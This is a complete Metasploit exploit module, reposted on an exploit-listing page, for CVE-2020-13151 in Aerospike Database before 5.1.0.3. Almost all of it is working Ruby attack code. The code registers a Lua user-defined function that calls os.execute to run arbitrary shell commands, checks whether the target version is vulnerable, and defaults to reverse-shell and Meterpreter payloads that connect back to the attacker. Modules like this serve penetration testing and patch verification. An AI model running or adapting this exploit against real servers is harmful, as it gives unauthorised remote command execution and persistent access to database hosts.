Share
## https://sploitus.com/exploit?id=PACKETSTORM:160451
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Aerospike Database UDF Lua Code Execution',  
'Description' => %q{  
Aerospike Database versions before 5.1.0.3 permitted  
user-defined functions (UDF) to call the `os.execute`  
Lua function.  
  
This module creates a UDF utilising this function to  
execute arbitrary operating system commands with the  
privileges of the user running the Aerospike service.  
  
This module does not support authentication; however  
Aerospike Database Community Edition does not enable  
authentication by default.  
  
This module has been tested successfully on Ubuntu  
with Aerospike Database Community Edition versions  
4.9.0.5, 4.9.0.11 and 5.0.0.10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'b4ny4n', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['EDB', '49067'],  
['CVE', '2020-13151'],  
['PACKETSTORM', '160106'],  
['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],  
['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],  
['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],  
['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],  
],  
'Platform' => %w[linux unix],  
'Targets' =>  
[  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_command  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-07-31',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(3000)  
]  
)  
register_advanced_options(  
[  
OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])  
]  
)  
end  
  
def build  
header = ['02010000'].pack('H*')  
data = "build\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def remove_udf(name)  
header = ['02010000'].pack('H*')  
data = "udf-remove:filename=#{name};\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def list_udf  
header = ['02010000'].pack('H*')  
data = "udf-list\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def upload_udf(name, data, type = 'LUA')  
header = ['02010000'].pack('H*')  
content = Rex::Text.encode_base64(data)  
data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def features  
header = ['02010000'].pack('H*')  
data = "features\x0a"  
len = [data.length].pack('N')  
sock.put(header + len + data)  
sock.get_once  
end  
  
def execute_command(cmd, _opts = {})  
fname = "#{rand_text_alpha(12..16)}.lua"  
print_status("Creating UDF '#{fname}' ...")  
  
# NOTE: we manually remove the lua file as unregistering the UDF  
# does not remove the lua file from disk.  
cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")  
  
# NOTE: this jank to execute the payload in the background is required as  
# sometimes the payload is executed twice (before the UDF is unregistered).  
#  
# Executing the payload in the foreground causes the thread to block while  
# the second payload tries and fails to connect back.  
#  
# This would cause the subsequent call to unregister the UDF to fail,  
# permanently backdooring the system (that's bad).  
res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})  
  
return unless res.to_s.include?('error')  
  
if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res  
print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")  
else  
print_error('UDF registration failed')  
end  
ensure  
# NOTE: unregistering the UDF is super important as leaving the UDF  
# registered causes the payload to be executed repeatedly, effectively  
# permanently backdooring the system (that's bad).  
if remove_udf(fname).to_s.include?('ok')  
vprint_status("UDF '#{fname}' removed successfully")  
else  
print_warning("UDF '#{fname}' could not be removed")  
end  
end  
  
def check  
connect  
  
res = build  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first  
  
unless version  
return CheckCode::Safe('Target is not Aerospike Database')  
end  
  
vprint_status("Aerospike Database version #{version}")  
  
if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3')  
return CheckCode::Safe('Version is not vulnerable')  
end  
  
unless features.to_s.include?('udf')  
return CheckCode::Safe('User defined functions are not supported')  
end  
  
CheckCode::Appears  
end  
  
def exploit  
# NOTE: maximum packet size is 65,535 bytes and we lose some space to  
# packet overhead, command stager overhead, and double base64 encoding.  
max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.  
if payload.encoded.length > max_size  
fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")  
end  
  
print_status("Sending payload (#{payload.encoded.length} bytes) ...")  
case target['Type']  
when :unix_command  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: max_size, background: true)  
end  
end  
end